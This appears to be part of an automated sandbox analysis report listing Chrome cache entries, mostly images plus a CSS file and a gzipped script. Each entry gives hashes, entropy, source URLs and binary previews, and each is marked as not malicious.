SHA1:	803F082E5E8CF30C3EAA6B310EC5D2ABD8D65349
SHA-256:	5FFAD1F57FBAE506ED4FF967DF3C62A0E99624D37EBD16BC72616E70494D3717
SHA-512:	4A9C82EB8065F92DC4D8A9226AE7B4B71EDD6F5C01787A13F148010E4C5CEB183DB49EE32EAD5801442A21FED20981BADE447B607646C4F43246AB82B8B3FA49
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...?...?.....W_......tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:F192E643C21011EDA718A96A79BB1567" xmpMM:DocumentID="xmp.did:0DB99986CA0A11EDBB8FF352D7D37CAA" xmpMM:InstanceID="xmp.iid:0DB99985CA0A11EDBB8FF352D7D37CAA" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:36e43f5c-4351-e240-9957-eac2528f1b5e" stRef:documentID="xmp.did:F192E643C21011EDA718A96A79BB1567"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..[;..A.....C.._.......F+..."

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	29589
Entropy (8bit):	7.969857808657915
Encrypted:	false
SSDEEP:	768:4n5tzyhoSXl6rI5pIkpECnThgPAFiXss21QNOo7BzBUkMK47EtNvmc:4nvy6/MFxnmYmsbKNO+EK9tNOc
MD5:	49414638F8CE1C37DF8D277A09A87092
SHA1:	EA3F0B96E4FFC1F21845DA87554283DF3218F7D0
SHA-256:	FA542D20A46EDDC9891A3EDC7396B6F096CB0E7F80233E42D79D2F1207DB6C74
SHA-512:	1DE068F5AD9A02894261F13073661B1774F51CB0ED90F7BFD0FF5B502FB00A271F0E2A3D1299DDB29DE126B42FC281390582A3104950FC4D1D615E65532FAA56
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/fuwu4.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F6E601A6C2E211ED969FE79B187DC9EA" xmpMM:InstanceID="xmp.iid:F6E601A5C2E211ED969FE79B187DC9EA" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ADF7E5F6BA8A11ED9E18B1F319AD2715" stRef:documentID="xmp.did:ADF7E5F7BA8A11ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5238
Entropy (8bit):	7.842592959486527
Encrypted:	false
SSDEEP:	96:b7qHo6Ubb8nbk5O2kmCJQ26XJPQKJDqT3CcX/RXQBerRwj:bW0H8nbkmcIkDqGcPOg18
MD5:	C2904D2D16314D6761C065910D9DC34A
SHA1:	778D91C0C50CF2A9EE89B60CBDED6E13BA434F08
SHA-256:	5B37D5640A9BD041546C1A3F10607A0A8D86B695A82DF9AA0CEDB3EACBD88AC0
SHA-512:	3CB1AD8B1CB1B04057068C33BE63BA2721611E2648668DD8BB58DB6787208CF3EDE4C6A5D488239C392BCCC932C4A4728AFA9F1448FBEEC4CC179F908F094C05
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:855DEF23CA0E11EDBFCAC95A2FDF20BE" xmpMM:InstanceID="xmp.iid:855DEF22CA0E11EDBFCAC95A2FDF20BE" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.5E.....IDATx................""...Ap.\@E.n.....(jP\..H......q9FAq.-.... Q@@.a...d...{....=..3....==]]].^.....

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 63 x 63, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4083
Entropy (8bit):	7.8014253145974015
Encrypted:	false
SSDEEP:	96:cmekTWW+g214tT+B2W0RvRrul0ariuBbZ/QZliBzb4pTz:NeI41sT+ifrul0aNd/QiwTz
MD5:	E741245E714A3F582AC323F8B6E796CE
SHA1:	1EA34318D7895AB3DB20242B751492FDE0B9AC91
SHA-256:	2AF2C86D8A11464C2027FC122A4E8BF4AE9828168A428A724B0CF29DCAD4A05B
SHA-512:	94E2726F2D697B60FFC22AF450692312B662D230A8FB26F7659E8150FA7C4A3E72B8ECD55F312A26ECDEFA237B9E4BFA11D35DB4BBF78B7D1E7BA9E9E93B97D2
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/03/image_1680511227_Glxj11O4.png
Preview:	.PNG........IHDR...?...?.....W_......tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:F192E643C21011EDA718A96A79BB1567" xmpMM:DocumentID="xmp.did:B26AD65BCA0911EDB48D8CE731E080DE" xmpMM:InstanceID="xmp.iid:B26AD65ACA0911EDB48D8CE731E080DE" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:36e43f5c-4351-e240-9957-eac2528f1b5e" stRef:documentID="xmp.did:F192E643C21011EDA718A96A79BB1567"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..w.....IDATx....UU......#iD.*..JDi5"..$..

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	38671
Entropy (8bit):	7.977751768400511
Encrypted:	false
SSDEEP:	768:Ft9WXATBeMvcxNAfgPTs0mGNp+k5HWxb+rxCc7sSLaz1RMF+E9Ht:DwXGEbAoPg0mGNpP2ugc7sSGz1iVt
MD5:	696B8B7CF03DF8867EF5429AB30ACE11
SHA1:	709A4C2ACD5C2B2FE5F97455758812051A5554BF
SHA-256:	494142939E1DF706963507D973CD170B0DFDA8AD0FB5611B5F7DBEA63A737E13
SHA-512:	8B2CA036501872C98970B158682785C927E23EDB276F3DCAA437704B1B87EF0CCBFEED4CB83E38822B1D1ED56E06732EA60A276700B1AA05FC130E087A4B9726
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:6CF535E3C2DC11ED96068D4B32898E79" xmpMM:DocumentID="xmp.did:6CF535E4C2DC11ED96068D4B32898E79"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6CF535E1C2DC11ED96068D4B32898E79" stRef:documentID="xmp.did:6CF535E2C2DC11ED96068D4B32898E79"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	55478
Entropy (8bit):	7.971386894138309
Encrypted:	false
SSDEEP:	1536:+yDfNwpNxoZlDvbFnyd9nzVym8FgbJiXXe6bs8774riCf:+yDfyT0bhu9nQmBbJiXh771O
MD5:	4E4E580EECC7532C30D60A7CFD05BED3
SHA1:	29CB3BB492150C9AF7C7E678717A0FEAB00382BE
SHA-256:	53BBC2D8DC4E7ED9202018A67A49235D2CD37264CC805C7947BD4B4597257373
SHA-512:	1B3AC808D91FEBF705D5171494DD1004CFCF9DA5505020E57303AD05B215DC92CC0A8B7EAECDC581A1A2092C53659B4EE789D6AA7AF6FA2BB2FB43B044E2DFCD
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:7F3C8993C2E311EDA8B1AEA6290096D8" xmpMM:InstanceID="xmp.iid:7F3C8992C2E311EDA8B1AEA6290096D8" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ADF7E5FEBA8A11ED9E18B1F319AD2715" stRef:documentID="xmp.did:D5B562B4BA8B11ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1092
Entropy (8bit):	4.985282727165163
Encrypted:	false
SSDEEP:	24:14XvEKFgqLTovusGGEFE7ohwTJ8dZcXQeMrWyueUjtD1uw2c:pK/LTMmrF0f9XjpUwP
MD5:	E86DC4C82DC215FA4BE58F32AAD23570
SHA1:	04FD54436819B196E1FDC2CE285821C46908CA04
SHA-256:	4CC26722EF4AC73A83464B334D887C4DBF9E18CD20997F820A41BE7679C74748
SHA-512:	3C5403E5F76880A6E24B53E26A01544B6FD5C2FC7E34B2E16274B8E367E74DF37C3472B9FC1F29671FDC3465FCE7A5BF456E6273ADC8DD1B4A6A29FA8D3D91E8
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/index.css
Preview:	/* ::::: /css/style.css ::::: /.... { margin: 0px; padding: 0px; }..a { color: rgb(0, 0, 0); text-decoration: none; }...clear { clear: both; }...container { margin: auto; width: 1100px; }...top { text-align: center; }...top img { margin-top: 8px; margin-left: -3px; }...con { background: rgba(0, 0, 0, 0) url('') no-repeat scroll center top; width: 100%; }...game { width: 980px; margin: 10px auto auto; }...game .box { border: 3px solid rgb(232, 191, 18); width: 314px; float: left; margin-bottom: 9px; }...game .abb { margin-left: 9px; }...game .box .yellow { height: 54px; background: rgba(0, 0, 0, 0) url('') repeat-x scroll left top; width: 314px; }...game .box .yellow img { position: relative; top: 15px; left: 8px; }...game .box .yellow a { background: rgba(0, 0, 0, 0) url('img/game_btn.png') no-repeat scroll center top; height: 45px; width: 126px; float: right; padding-right: 10px; margin-top: 7px; display: block; }...game .box .yellow a:hover { background: rgba(0, 0, 0, 0) url('img/g

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	29589
Entropy (8bit):	7.969857808657915
Encrypted:	false
SSDEEP:	768:4n5tzyhoSXl6rI5pIkpECnThgPAFiXss21QNOo7BzBUkMK47EtNvmc:4nvy6/MFxnmYmsbKNO+EK9tNOc
MD5:	49414638F8CE1C37DF8D277A09A87092
SHA1:	EA3F0B96E4FFC1F21845DA87554283DF3218F7D0
SHA-256:	FA542D20A46EDDC9891A3EDC7396B6F096CB0E7F80233E42D79D2F1207DB6C74
SHA-512:	1DE068F5AD9A02894261F13073661B1774F51CB0ED90F7BFD0FF5B502FB00A271F0E2A3D1299DDB29DE126B42FC281390582A3104950FC4D1D615E65532FAA56
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F6E601A6C2E211ED969FE79B187DC9EA" xmpMM:InstanceID="xmp.iid:F6E601A5C2E211ED969FE79B187DC9EA" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ADF7E5F6BA8A11ED9E18B1F319AD2715" stRef:documentID="xmp.did:ADF7E5F7BA8A11ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	28554
Entropy (8bit):	7.963517559461732
Encrypted:	false
SSDEEP:	768:skOTXNK6BN9fljUB+cBPUXFWYrhBtMYnzujT:0T9RHLa+cBPUIihcYzujT
MD5:	29F225CBF89978DD4ABE3B1ADE93D501
SHA1:	3F8A7669738BCB9FA8FA3551408AE2C83CE73528
SHA-256:	D2ED88F3B14A3056EEC2494BD71018F044727CA549B46AC7A1BB2FE6D82E7239
SHA-512:	C8714D3571E6B8EF7F8F80E2B18457658647E3AC1527EB3B81E8ADD2622E0D16A8A8C38D587B0C0AF43BEEE65DCF14F1D213E7DF938C0D89CD637E41370C0179
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/about4.jpg
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:781BDB36C2DC11ED90D7CB303608EE9E" xmpMM:DocumentID="xmp.did:781BDB37C2DC11ED90D7CB303608EE9E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:781BDB34C2DC11ED90D7CB303608EE9E" stRef:documentID="xmp.did:781BDB35C2DC11ED90D7CB303608EE9E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 200
Category:	downloaded
Size (bytes):	74577
Entropy (8bit):	7.974415150251052
Encrypted:	false
SSDEEP:	1536:0XrrYt54IY2cBaLJHqKQHbPOfuVui4SA64uC9Txl6jKX6nYsjz3:sYt54MTLJHzQZF4Q4uy36pn/z3
MD5:	6643420C5BBE4BD6E2D8B61837AF3039
SHA1:	95C9FC7AF01C5856BC05914373972CC4320BFB32
SHA-256:	34A0E2070071C1BAC6F17F5EB3DBFC297137792DBCAAFA1203E0C9A78867F7E1
SHA-512:	42F6F1E9BFA527B7E2040E368232B7C25AE93E5D967F3C08E301F8E2780700FA90E01C862C32565A6D8226BF119713AF9745B3BB7C7751D33DFC7741B3E50D65
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/wnsr2021.gif
Preview:	GIF89a......... .fX...rH...........D....m..)....0....P.34+.......P$..S..O..o..6Gk2.....o.hO.."..).............+....a'O.O&.Q1.n'..D.l).r..pM.....U..G...G...'..J.l.kp..HN'#..f.'/.i..-.....I2.JF..j.M..~j.t&j6+.q.&....,(pQO.R...H.O'.KG.......f.pN..D..p............-....r....D..3..D.."..U.."..i..M..3NKo..w..rMl.....w...n....U.rq.......D....................U.....U..U.....{..D..3..3...........D..f."............U...w.".7.W."...a..-..1"......f..*.1-.R3`%.LE,oN)ng"..HuQn.Mu.n..s3.2....2EM.N..m.mmqIB.tg..MPC.,-..kr.&f...."+OP/Mh..t..}Ktimlk..J.ff..s.R.ff..w...W5.!...ex.yUB.>.fU.x~R.g..D....wf.fwf...Uf..$.,JD."....[..m..n..?h...#u.....Rw.7..(.}.9....C.f.7d.3w.3.X..5..3.f. ....wD"."3."......$.".). .E....fDw."c.CO.+.xD!..fD..".xU.&..cU.!...M.{f.}.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 600 x 162, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	66669
Entropy (8bit):	7.993676596418445
Encrypted:	true
SSDEEP:	1536:Z51FD819uaHyNei0g9EakbCC2T+es1fD1HoEzXYnn7iLbMPuVlk:Z7FDgoz0g9ElOC2Hs7HoEzXEn7iLgka
MD5:	44B0E8BA1593D62EAAB72A352D4B9C3B
SHA1:	9CE35940A976559B6D369B39F2100C6466121AB2
SHA-256:	8026135C1473B0203FC095E126C1AAC27FD26AB843AB1B72FEC45B9BC2F26010
SHA-512:	FE1FFDDA268D3F4CC9B5D31408350027E7BC8257A461D3403205DC4D4DEA62153AACE4F2A69EE0DAC9A93B57C83A47D16EFE7D765C9680AE4047EB8E9F9A5803
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/logob.png
Preview:	.PNG........IHDR...X...............tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A05C0F0ACEE611ED86C2B215EB7AED05" xmpMM:InstanceID="xmp.iid:A05C0F09CEE611ED86C2B215EB7AED05" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5CCB7E50C14711ED929B8374F69F0E98" stRef:documentID="xmp.did:5CCB7E51C14711ED929B8374F69F0E98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...(....IDATx..].`U.......^$..F....!*..7.Zk..k......Z....{.. ..."{&!...=...;....y/..\|.._.r..{.9........`.....T

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 281
Category:	downloaded
Size (bytes):	232
Entropy (8bit):	7.0676437260056115
Encrypted:	false
SSDEEP:	3:FttbL1NiZoYX781qpKiRjsUQs3VoFXggY1nxU2ihA3Q8vatHdWHXbcfdg1imeE:XtbLzA81qpPo+lqE1xU21gaIWrSg1imz
MD5:	D26C13A934C8B22EE43899454C789B9C
SHA1:	416A6678C317A0C76B57D798B5262C58F9DF17FC
SHA-256:	F6922D720C4BCBACD3786AFBA731DC0276255C488139BA8E63339805C1AC505A
SHA-512:	3C1C844AC9ACDEF768EA49DD01965D019078AD0EC626FD0E2456E1AEEAF49B8772785EB1C075C293898EA893B81ECCCBC5D239900452C00F67C4F3E738CBF410
Malicious:	false
Reputation:	low
URL:	http://push.zhanzhang.baidu.com/push.js
Preview:	..........d.Ak.0.G...IP'...%H.i..^.YJ.G..32..m...+=.2.....c.PH.I..w/..F].......3.\\|..P.....W........ .M.K.k..W.q.....d.rXF.......SG..sR..&...?E../..7....]Vs...Y#6+.....t~.qbBJ.OC...?/..f.h}.....-.,.z8...:.,.....!........Q.w....

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 120x120, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=1, orientation=upper-left], baseline, precision 8, 1090x141, components 3
Category:	downloaded
Size (bytes):	63943
Entropy (8bit):	7.777071698436248
Encrypted:	false
SSDEEP:	1536:EaBMCYvbTp3cWi1KF2V5pu3458P2BMZ1+HrdlPqLEnZCinu52SssTQIE8x:MCGbTMKFq5pkT+KZ1+H7PqLEnZCigNpN
MD5:	BABA23B989F46D56BF7BCCBCB684F8A9
SHA1:	EFBA0DA806C3E339335D1B5716AF81DF13DA42AA
SHA-256:	D94177E2F5BB8337E610EB21F1A78380179D5D5E7703D85AE9F15E45F77D46FD
SHA-512:	97DC1526C9F751E7EE38E80F17F623E4A50B779AC21759BC5433EDBBB6B87C7ABD7C81F1873497A86F5AF77572A9E8358F69CE096CA6DDE300C55E66FF70F604
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/kaiyun1000.jpg
Preview:	......JFIF.....x.x....."Exif..MM..........................C....................................................................C.........................................................................B.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....z...U..g.kRH......z.....?..U..U{...R..Z.Y..7..y4...6U..PUJ....q&...W.W..q'...%...R.........7o...T....Q..n7\H..$k.%Q...k.~...%u.h..:...c.w.\w.3/.cZ..g.O.....M?...e.........6.....y..........]..<2~.]..UY4x.....O.?.....y.O/.-.O.....Z.._...uk6..K.V..s.3...v....2.C...._.N.....6.......-.kob.y51..s.......K$v..>.......5W..j..q

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 300
Category:	downloaded
Size (bytes):	162061
Entropy (8bit):	7.974582251451724
Encrypted:	false
SSDEEP:	3072:kW4NNuRHKOxC/DmufPzz76plgJXaBz7KT44Oz8vbM:kWuuRqUC/Dmuf7z7sqXaBz7KU4W8vbM
MD5:	4FB4AFE26198C3287FB8E1A05BE78270
SHA1:	7F2F7B226AEF1C717E47B49C29301EFA77568374
SHA-256:	238929B5DC9D4726FD89356E5A33FA365A42D4168943A3934CB7753170BCC7FA
SHA-512:	5FF12ADCEFC3BAD13C9130FCDD3A3D6C9917EE840BB63D31D5AD8901A770992B24A3A35BABD62D4B6BA96898C403A228F38A157FB672ADDEF9D1E40825679FDC
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/bet2024.gif
Preview:	GIF89a..,.....f5;J5....I`.L...~........Y+.....F#.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:81347db3-13f7-8145-888f-17176c92047e" xmpMM:DocumentID="xmp.did:420409A4BD1E11EEAFB8E840CB86B658" xmpMM:InstanceID="xmp.iid:420409A3BD1E11EEAFB8E840CB86B658" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ec2c09da-290e-5e47-829c-f6cf6a8857ad" stRef:documentID="xmp.did:81347db3-13f7-8145-888f-17176c92047e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..........................................

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 900 x 714, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	279516
Entropy (8bit):	7.993855344316647
Encrypted:	true
SSDEEP:	6144:NG/jqjXOWh6qKsui3AjNtUN3NRYb9/vThoD5CbVwf0wbRyZrM+K+X:NGxWQqHuiwjPUNA/tS5e6VbRyZrs+X
MD5:	67FAECAB65E100332F63F630968BE80B
SHA1:	AC0D82947FE66CFCFA555DC68851176EB3EC6B7A
SHA-256:	4E019E5E362157BC6446155195C3E0FD988A1DE329DDC54846A206213342E0EA
SHA-512:	D3722EB70B509E4E3BA2AC5E1E591CF7937F4EBCF2EBBB680D76100B02643EDC5FB2C47794E0524A3DB078B7B39333592F26FE4461A10231862B51FA76C91348
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/sc_tz.png
